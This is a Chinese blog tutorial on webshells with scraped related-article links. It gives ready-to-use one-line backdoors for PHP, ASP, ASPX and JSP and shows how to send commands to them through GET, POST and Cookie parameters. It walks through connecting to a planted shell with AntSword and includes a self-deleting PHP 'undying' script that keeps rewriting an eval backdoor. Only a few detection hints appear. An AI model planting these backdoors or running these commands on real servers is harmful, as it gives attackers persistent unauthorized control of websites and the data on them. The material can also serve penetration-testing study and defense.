"感谢您阅读本篇博客!如果您觉得本文对您有所帮助或启发,请不吝点赞和分享给更多的朋友。您的支持是我持续创作的动力,也欢迎留言交流,让我们一起探讨技术,共同成长!谢谢!"

Webshell就是以asp.php.jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称为一种网页木马后门,攻击者可以通过这种网页后门获得网站服务器操作权限,控制网站服务器以进行上传下载文件, 查看数据库执行命令 通过服务器开放的端口获取服务器的某些权限。 往目标网站中上传一句话木马,然后你就可以在本地通过Shell管理工具连接即可获取和控制整个网站目录

基础

Webshell是在文件上传后才执行的操作,通过向网站上传恶意文件后,本文介绍通过中国蚁剑工具进行连接获得权限,以及简单的GET POST Cookie 连接

攻击流程

获得权限--->上传恶意文件(小马)-->通过小马上传大马-->利用工具连接获得Webshell

1.利用web漏洞获取web权限,先获得权限才可以上传代码,而后再可以利用工具连接得到权限
2.上传小马
3.上传大马
4.远程调用webshell执行命令
大小马
1.大马,体积大、功能齐全、能够管理数据库文件管理、对站点进行快速的信息收集,甚至能够提权

2.小马,一般而言,我们在上传文件的时候,会被限制上传的文件大小或是拦截的情况,那么我通过小马来上传大马,实现我们想要的功能

3.一句话木马,短小精悍、功能强大、隐蔽性好、使用客户端可以快速管理webshell

常用Webshell

网站最常用的还是PHP代码的形式,本文也是只讲解利用PHP上传一句话木马

PHP

<?php  eval($_GET[saber]);?>
<?php eval($_POST[saber]);?> Cookie <?php @$a = $_COOKIE[1];$b =''; $c =''; @assert($b.$a); ?>

ASP

<%eval request("saber")%>

ASPX

<%Page Language="Jscript"%>  <%eval(Request.liem["pass"])%>

JSP

  <%Runtime.getRuntime().exec(request).getParameter("i"));% >

简单一句话木马webshell

GET方法

0x01

在phpstudy文件目录下创建webshell文件夹,放置我们的一句话木马PHP代码,当然你也可以自己建立别的文件夹,执行环境需要web网站,我使用的是PHPStudy,相信学习安全的各位应该都是不陌生的,这里不过多赘述

<?php
eval($_GET[pass]);
?>
eval函数的语法是把字符串作为PHP代码执行
创建pass变量后续使用get方法传递参数

0x02

回到浏览器中访问phpstydy根目录下webshell下t.php,出现空白页面证明我们的php语句正常执行没有报错

0x03

通过get方法像之前定义的pass变量传递参数,传递不同的参数有不同的效果,危险参数显而易见

http://localhost/webshell/t.php
?pass=system(dir);
获得当前文件路径

POST方法

0X01

同GET方法一致,写入我们需要PHP代码,使用POST传递。

<?php  eval($_POST[saber]);?>

0X02

回到浏览器访问文件并且打开我们的代理插件,开启8080服务使用burp工具抓包,将请求方式改为POS方式

0X03

抓取到请求包后,右键发送到重发器,进入重发器后现在我们需要做的就是把请求方法改为POST,右键找到变更请求方法 ,就可以将GET改为POST

未改变

已改变

0X04

改变后,现在需要做的事情就是传递参数了,上方的参数为saber这里就是使用这个参数, 写好后按照步骤发送就可以查看响应后的回显

saber=phpinfo();   phpinfo()输出php的配置信息

saber=system(dir);  查看当前文件路径
saber=system(ipconfig); 查看本机ip
Cookie

0x01

使用cookie传递参数,cookie会携带我们用户的数据,从而达到拿到shell的目的

<?php @$a = $_COOKIE[1];$b =''; $c =''; @assert($b.$a); ?>

assert() assert — 检查一个断言是否为 FALSE 

0X02

打开网页访问,Cookie参数我们通过一个插件 HacBar来操作,打开选择的Cookies选项使用写入需要的参数.

0X03

在Cookie处写入我们需要传递的参数为cmd,1是在PHP代码中包裹的值,eval将字符串作为PHP代码执行 ,POST选项出就写入代码来验证是否正确 ,发现是可以正确执行的,别的参数可以自行试验,

1=eval($_POST[cmd]);

cmd=system(ipconfig); 显示出本机ip地址

蚁剑连接Webshell

蚁剑(AntSword)是一款开源的跨平台WebShell管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。

蚁剑推崇模块化的开发思想,遵循开源,就要开得漂亮的原则,致力于为不同层次的人群提供最简单易懂、方便直接的代码展示及其修改说明,努力让大家可以一起为这个项目贡献出力所能及的点滴,让这款工具真正能让大家用得顺心、舒适,让它能为大家施展出最人性化最适合你的能力!

使用蚁剑需要以下两个文件下载使用,加载器认准自己计算机对应型号下载,正常下载是无法解压的,点进加载器详情里面会有介绍如何下载,下载好后根据下面文件学习安装使用

蚁剑安装使用教程:蚁剑

GitHub地址:加载器 源码

0X01

以Cookie为例复制路径打开蚁剑连接

0X02

打开蚁剑,右键在红框出打开窗口,点击添加数据,在这里连接我们的文件

0X03

填写后信息后因为是Cookie携带的参数,我们还需要设置一下请求信息, 这里的密码是我们在请求信息处填写的信息,我这里是CMD,写成一是因为一开始写错了,如果连接错误应该是因为密码填写错误

写入name为Cookie,Value值为1=eval($_POST[cmd]);,同上方利用插件传递值是一样的,这里写完就可以左上角进行保存, 点击测试连接

Cookie
1=eval($_POST[cmd]);

0X04

连接成功后添加数据,数据就保存到了蚁剑中,我们点击刚刚保存的地址右键打开虚拟终端

进入虚拟终端后就也就是shell页面就可以为所欲为,当然如果我们在实战中拿到了shell还是要遵纪守法,在合理范围内渗透不要对服务器造成破坏影响正常的业务

内存马

内存马文章

内存webshell相比于常规webshell更容易躲避传统安全监测设备的检测,通常被用来做持久化,规避检测,持续驻留目标服务器。在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马

特点

  • 无文件攻击在系统的内存中远程加载执行、驻留在注册表中或滥用常用的白名单工具,例如PowerShellWindows Management
  • 内存webshell
  • 隐蔽性强

原理

先由客户端发起一个web请求,中间件的各个独立的组件如ListenerFilterServlet等组件会在请求过程中做监听、判断、过滤等操作,内存马利用请求过程在内存中修改已有的组件或者动态注册一个新的组件,插入恶意的shellcode达到持久化的控制服务器

PHP不死马

PHP内存马可以在启动后删除本身,在内存中执行死循环反复创建,使管理员无法删除.会一直循环生成一句话木马22.php,解决方法是使用条件竞争通过同名文件替换克制,写一个新的木马文件,调整usleep时间使其更快生成,就可以提取写入我们想要的文件

<?php
set_time_limit(0); // 设置允许脚本运行的时间,单位为秒。如果设置为0(零),没有时间方面的限制。
ignore_user_abort(1); // 函数设置与客户机断开是否会终止脚本的执行,如果设置为 true,则忽略与用户的断开
unlink(__FILE__); // 删除文件
while (1) {
$content = ‘<?php @eval($_POST["zzz"]) ?>’;
file_put_contents("22.php", $content); // 将一个字符串写入文件,一句话写入22.php
usleep(10000); // 延迟执行当前脚本若干微秒
}
?>

检测思路

  • 检查所有php进程处理请求的持续时间
  • 检测执行文件是否在文件系统真实存在
Python内存马

文章

利用flask框架中ssti注入来实现,flask框架中在web应用模板渲染的过程中用到render_template_string()进行渲染但未对用户传输的代码进行过滤导致用户可控通过写入恶意代码实现内存马注入

Java 内存马

文件上传之Webshell连接方法的更多相关文章

  1. PHP实现多文件上传的一些简单方法

    下面我们就通过具体的代码示例,为大家介绍PHP实现多文件上传的一些简单方法. 第一种方法:利用单个文件上传方法 一段简单的form表单代码如下: <!DOCTYPE html> <h ...

  2. IIS 之 通过 Web.config 修改文件上传大小限制设置方法

    在IIS 6.0中,不设置默认大小为4M,设置文件上传大小的方法,maxRequestLength(KB),executionTimeout(毫秒),配置如下节点: <system.web> ...

  3. springMVC文件上传的三种方法

    这时:commonsmultipartresolver 的源码,可以研究一下 http://www.verysource.com/code/2337329_1/commonsmultipartreso ...

  4. 详解jQuery uploadify文件上传插件的使用方法

    uploadify这个插件是基于js里面的jquery库写的.结合了ajax和flash,实现了这个多线程上传的功能. 现在最新版为3.2.1. 在线实例 实例中用到的php文件UploaderDem ...

  5. SpringBoot从入门到精通十一(SpringBoot文件上传的两种方法)

    前言 在企业级项目开发过程中,上传文件是最常用到的功能.SpringBoot集成了SpringMVC,当然上传文件的方式跟SpringMVC没有什么出入. 本章目标 使用SpringBoot项目完成单 ...

  6. IIS 6和IIS 7 中设置文件上传大小限制设置方法,两者是不一样的

    在IIS 6.0中设置文件上传大小的方法,只要设置httpRuntime就可以了 <system.web> <httpRuntime executionTimeout="3 ...

  7. Discuz!NT 后台任意文件上传的源代码修补方法

    相关的漏洞介绍: http://www.wooyun.org/bugs/wooyun-2013-035199 Discuz!NT 管理后台可以自定义文件类型,从而造成任意文件上传,测试过程中 aspx ...

  8. C#实现Web文件上传的两种方法

    1. C#实现Web文件的上传 在Web编程中,我们常需要把一些本地文件上传到Web服务器上,上传后,用户可以通过浏览器方便地浏览这些文件,应用十分广泛. 那么使用C#如何实现文件上传的功能呢?下面笔 ...

  9. PHP和Nginx 文件上传大小限制问题解决方法

    对于nginx+php的一些网站,上传文件大小会受到多个方面的限制,一个是nginx本身的限制,限制了客户端上传文件的大小,一个是php.ini文件中默认了多个地方的设置. 所以为了解决上传文件大小限 ...

  10. php大文件上传失败的解决方法

    1.打开php.ini 2.查找post_max_size:(修改上传大小限制) 表单提交最大数值,此项不是限制上传单个文件的大小,而是针对整个表单的提交数据进行限制的默认为8m,设置为自己需要的值, ...

随机推荐

  1. display标签交替显示不同行颜色

    问题 想要一个更加简单的支持列表数据分页和排序的方法. 解决方案 使用Display标签库和JSP标签库. 例4.13介绍了一个JSP页,它使用4.5节中的数据模型显示美国总统列表.这个JSP页面使用 ...

  2. 前后端分离Ajax入门

    前后端分离之Ajax入门 一.概念 Ajax(Asynchronous Javascript And XML),即是异步的JavaScript和XML,Ajax其实就是浏览器与服务器之间的一种异步通信 ...

  3. drf(Book序列化练习、user表练习)

    一. APIView版本 1. models.py from django.db import models # Create your models here. class CommonField( ...

  4. springboot 配置 OpenFeign 时报错:Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing failed; Connection refused: no further information

    报错内容如下: 2022-11-18 01:55:18.998 ERROR 22220 --- [nio-8086-exec-4] o.a.c.c.C.[.[.[/].[dispatcherServl ...

  5. FreeRTOS教程9 软件定时器

    1.准备材料 正点原子stm32f407探索者开发板V2.4 STM32CubeMX软件(Version 6.10.0) Keil µVision5 IDE(MDK-Arm) 野火DAP仿真器 XCO ...

  6. 《.NET内存管理宝典 》(Pro .NET Memory Management) 阅读指南 - 第5章

    本章勘误: 暂无,等待细心的你告诉我哦. 本章注解: 出处:207页 原文: 在我们的应用程序中,是不太可能出现LargeHeapHandleTable的问题的.一般来说,可能出现问题会是在需要(动态 ...

  7. JS 为什么0==““ 会是true

    0 是逻辑的 false 1 是逻辑的 true空字符串是逻辑的 false null 是逻辑的 false NaN==任何 都是false 所以:空字符串是逻辑的 false , 0是逻辑的fals ...

  8. Oracle存储过程模板

    PROCEDURE proc_test(p_id IN NUMBER, v_cur OUT SYS_REFCURSOR, p_result_code OUT NUMBER, p_result_mess ...

  9. 嵌入式C语言设计学习

    由C语言到嵌入式C语言设计 1.C语言的特性 C语言,最为基本的高级编程语言,已经有许多其他的延伸.而在嵌入式设计中,主要的拓展内容就是相关的硬件设备的驱动.这部分的设计为其提供了更加灵活的应用环境. ...

  10. KingbaseES错误unsupported for database link处理

    KingbaseES使用dblink查询报错:unsupported for database link 适用于: KingbaseES所有版本. 问题现象: KingbaseES创建kingbase ...